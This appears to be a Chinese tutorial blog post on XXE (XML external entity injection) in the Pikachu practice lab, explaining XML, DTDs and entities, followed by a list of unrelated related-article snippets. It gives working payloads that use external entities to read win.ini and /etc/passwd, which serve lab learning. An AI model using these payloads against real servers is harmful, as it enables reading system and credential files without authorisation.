Pikachu漏洞练习平台之XXE（XML外部实体注入）
目录
什么是 XML？
什么是DTD？
什么是XEE？
常见payload
什么是 XML？
XML 指可扩展标记语言（EXtensible Markup Language）；
XML 不会做任何事情，而是用来结构化、存储以及传输信息；
XML 标签没有被预定义，需要我们自行定义标签。
XML总体由元素组成，元素可以额外附加属性，需要提前定义，元素中可以引用实体。
XML中的5个预定义实体引用：
< <
> >
& &
" "
' '实体根据引用方式，分为内部实体与外部实体 。
实体可以理解为变量，必须先在DTD中定义声明，然后在文档中的其他位置引用该变量的值。
<square width="100" /> &a; </square>元素 属性 实体内部实体：
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体：
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">一个 XML 文档实例：
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>第一行是 XML 声明，它定义 XML 的版本（1.0）和所使用的编码（UTF-8 : 万国码, 可显示各种语言）；下一行描述文档的根元素（本文档是一个便签：<note>）；接下来 4 行描述了根的 4 个子元素（to, from, heading 以及 body）。
什么是DTD？
文档类型定义（DTD）可定义合法的XML文档构建模块，它使用一系列合法的元素来定义文档的结构，DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。
DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。
内部的 DOCTYPE 声明：假如 DTD 被包含在 XML 源文件中
<!DOCTYPE 根元素 [元素声明]>外部文档声明：假如 DTD 位于 XML 源文件的外部
<!DOCTYPE 根元素 SYSTEM "文件名">带有 DTD 的 XML 文档实例：
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>在DTD设置了一些变量，然后在XML文档中再使用到这些变量。
什么是XEE？
XXE就是攻击者自定义了XML文件进行了执行，最终效果实现读取系统文件。
常见payload
测试代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe 'test' > ]>
<foo>&xxe;</foo>读取文件的payload
对于Windows：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>对于Linux：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>UTF-8（可变长度编码）有时候也用ISO-8859-1（单字节固定长度编码）也可不指定编码
测试解析xml代码情况
回显test
因为我这里的靶场是使用Linux系统搭建的，因此尝试读取 /etc/passwd
读取成功
相关文章：
Pikachu漏洞练习平台之XXE（XML外部实体注入）
目录 什么是 XML？ 什么是DTD？ 什么是XEE？ 常见payload 什么是 XML？ XML 指可扩展标记语言（EXtensible Markup Language）； XML 不会做任何事情，而是用来结构化、存储以及传输信息…...
ubuntu中/etc/rc.local和/etc/init.d/rc.local的区别是什么
在早期版本的Ubuntu中，通常会使用 /etc/rc.local 或 /etc/init.d/rc.local 文件执行在系统启动时需要运行的自定义脚本或命令。然而，随着Ubuntu的版本升级，这两者的使用方式有了一些变化。 /etc/rc.local： 功能： /etc/…...
vue项目中 commonJS转es6
背景：项目中需要使用一个插件，但是插件底层是commonJS语法 项目结构：webpackvue2.x 转换准备工作 安装插件： 以下插件如已安装请忽略 npm install babel/preset-env vue/cli-plugin-babel/preset babel/plugin-transform-runt…...
【C++】AVL树（动图详解）
文章目录 一、前言二、AVL树的概念（引入bf）三、AVL节点树的定义四、AVL树的基本框架五、AVL树的旋转5.1左单旋（新节点插入较高右子树的右侧---右右：左单旋）例一（h0）例二（h1ÿ…...
「Verilog学习笔记」用3-8译码器实现全减器
专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点，刷题网站用的是牛客网 分析 首先列出3-8译码器和全减器的真值表 全减器真值表如下 3-8译码器真值表如下 timescale 1ns/1nsmodule decoder_38(input E ,input A0 …...
rocketmq: MQClientException: No route info of this topic
可能是broker没连接到（或配置）name server有关...
【Vue全家桶 合集 关注收藏】
【Vue全家桶】全面了解学习并实践总结Vue必备知识点 写在前面 🤗 这里是SuperYi Vue全家桶合集站！ 🌻 人海茫茫，感谢这一秒你看到这里。希望我的文章对你的有所帮助！ 🌟 愿你在未来的日子，保持…...
react+video.js h5自定义视频暂停图标
目录 参考网址 效果图，暂停时显示暂停图标，播放时隐藏暂停图标 代码说明，代码传入url后，可直接复制使用 VideoPausedIcon.ts 组件 VideoCom.tsx Video.module.less 参考网址 在Video.js播放器中定制自己的组件 - acgtofe 效…...
CentOS和Ubuntu中防火墙相关命令
CentOS和Ubuntu中防火墙相关命令 1、CentOS7中防火墙相关命令2、Ubuntu中防火墙相关命令 1、CentOS7中防火墙相关命令 在CentOS 7中，与防火墙相关的命令主要包括firewalld命令。以下是一些常用的firewalld命令： 查看firewalld服务状态： syst…...
学习笔记5——对象、直接内存、执行引擎，string
学习笔记系列开头惯例发布一些寻亲消息 链接：https://baobeihuijia.com/bbhj/contents/3/192486.html 创建对象的步骤 对象对应的类是否被加载，链接（链接到真实的内存地址），初始化（类初始化）…...
【node】如何在打包前进行请求等操作npm run build
举例，在运行 npm run build 之前将路由表传递给后端，可以采取以下步骤： 创建一个脚本文件，例如 generateRoutes.js，用于生成路由表文件。 在该脚本文件中，导入路由配置文件和后端要接收路由表的接口。 使…...
鸿蒙4.0真机调试踩坑
传言鸿蒙next版本将不再兼容Android，所以领导安排做下鸿蒙开发的调研工作。 鸿蒙开发指南其实已经非常的友好了。但是鸿蒙开发本身还是有些坑要踩，这篇文章主要讲了鸿蒙真机调试问题。 目前手上的真机为华为 nova6，处理器为麒麟990.鸿蒙系统…...
中文撰稿好用软件推荐TexPage(似于Overleaf)
由于本人用惯了overleaf所以找到了一个与他功相似的也同样是利用tex写文章。唯一的区别可能也就是overleaf只支持英文，而TexPage中英文都支持。关键是不花钱，好用好用好用，用起来！ 平台网址：https://www.texpage.com/…...
AD教程 （十七）3D模型的创建和导入
AD教程 （十七）3D模型的创建和导入 对于设计者来讲，现在3DPCB比较流行，3DPCB，除了美观之外，做3D的最终的一个目的，是为了去核对结构，就是我们去做了这么一个PCB之后，如果说…...
企业微信获取第三方应用凭证
上一篇介绍了如何配置通用开发参数及通过url回调验证， 本篇将通过服务商后台配置关联小程序应用配置和获取第三方凭证及如何配置企业可信IP。 当然上篇配置的回调设置也不会白费，在下方的指令和数据回调会用到。 第三方应用开发流程 官方企业微信第三方…...
增删改查mysql
查询 -- 查询表结果-- 查看 当前数据库下的表show tables;-- 查看指定的表desc tb_emp; -- td_emp 是表名-- 查看 数据库的见表语句show create table tb_emp; 修改 -- 修改表结构 -- 修改 为表 tb_emp 添加字段 qq varchar(11) alter table tb_emp add qq varchar(11) …...
【vue】下载导出excel
下载导出excel 首先使用的tdesign框架，要导出后端返回的数据流excel 遇见的问题 下载的文件，里边的内容是undefined 观察报错 一看就知道并不是后端的报错，后端不可能是undefined 在强烈的好奇心驱动下，看了下接口࿰…...
c#正则表达式
using System.Text.RegularExpressions; namespace demo1 {/// <summary>/// 正则表达式（Regular Expression）是一种文本模式，包括普通字符（例如，a～z的字母）和特殊字符（称为“…...
C#密封类和密封成员
密封类和密封成员需要使用 sealed 修饰符，他可以防止当前类被继承或者防止派生类在继承的过程中重写某个方法。 与abstract抽象修饰符类似，sealed 修饰符不仅可用来修饰class，同样也可以修饰类成员。如果sealed关键词用在class上，…...
三、Eureka注册中心
目录 一、作用及调用方式 二、搭建eureka注册中心 三、注册user-service和order-service 四、新增实例 五、服务拉取 六、总结 一、作用及调用方式 在服务提供者启动时，它会向eureka注册中心提供自己的信息，并每30秒进行一次刷新eureka注册中心保存…...
java线程池动态调节功能实现
java线程池动态调节功能实现 功能背景ThreadPoolExecutor配置自定义可变容LinkedBlockingQueuecontroller接口测试结果 功能背景 由于线程池的参数配置是一个比较难准确配置好, 如果需要进行配置修改, 就会对配置进行修改,再进行部署,影响效率, 或者应用场景的变化,导致固定的…...
KT148A语音芯片使用串口uart本控制的完整说明_包含硬件和指令举例
一、功能简介 KT148A肯定是支持串口的，有客户反馈使用一线还是不方便，比如一些大型的系统不适合有延时的操作，所以更加倾向于使用uart控制，这里我们也给出解决方案 延伸出来另外一个版本，KT158A 注意次版本芯片还是…...
kubectl 本地远程链接k8s多个集群，远程管控多集群，查看日志 部署服务（windows版）
文章目录 一、前言二、windows上安装kubectl和mobaxterm2.1 准备安装包2.2 安装kubectl2.3 链接k8s集群2.4 查看某一个pod的容器日志2.5 切换context 上下文配置，实现在多个k8s集群间动态切换 一、前言 现如今是一个万物皆上云 的时代，各种云层出不穷&am…...
wireshark打开tcpdump抓的包 vwr: Invalid data length runs past the end of the record
tcpdump -i any -n -s0 > t.pcap 使用此命令在Debian系统上抓包，下载到PC，用wireshark打开时报错： 后来发现写入文件时使用 -w 是没问题的，原因还不清楚。 tcpdump -i any -n -s0 -w t.pcap...
Python爬虫教程：从入门到实战
更多Python学习内容：ipengtao.com 大家好，我是涛哥，今天为大家分享 Python爬虫教程：从入门到实战，文章3800字，阅读大约15分钟，大家enjoy~~ 网络上的信息浩如烟海，而爬虫（…...
C++实现高频设计模式
面试能说出这几种常用的设计模式即可 1.策略模式 1.1 业务场景 大数据系统把文件推送过来，根据不同类型采取不同的解析方式。多数的小伙伴就会写出以下的代码： if(type"A"){//按照A格式解析 }else if(type"B"){//按照B格式解析 …...
opencv(2): 视频采集和录制
视频采集 相关API VideoCapture()cap.read()： 返回两个值，第一个参数，如果读到frame，返回 True. 第二个参数为相应的图像帧。cap.release() VideoCapture cv2.VideoCapture(0) 0 表示自动检测，如果在笔记本上运行&…...
SpringBoot+EasyExcel设置excel样式
方式一：使用注解方式设置样式 模板可通过HeadFontStyle、HeadStyle、ContentFontStyle、ContentStyle、HeadRowHeight ContentRowHeight等注解设置excel单元格样式； //字体样式及字体大小 HeadFontStyle(fontName "宋体",fontHeightInPoints…...
自定义View之Measure（二）
measure 用来测量 View 的宽和高，它的流程分为 View 的 measure 流程和 ViewGroup 的measure流程，只不过ViewGroup的measure流程除了要完成自己的测量，还要遍历地调用子元素的measure（）方法。 上一回说到performMeasur…...
SQL注入学习--GTFHub（布尔盲注+时间盲注+MySQL结构）
目录 布尔盲注 手工注入 笔记 Boolean注入 # 使用脚本注入 sqlmap注入 使用Burpsuite进行半自动注入 时间盲注 手工注入 使用脚本注入 sqlmap注入 使用Burpsuite进行半自动注入 MySQL结构 手工注入 sqlmap注入 笔记 union 联合注入，手工注入的一般步骤 …...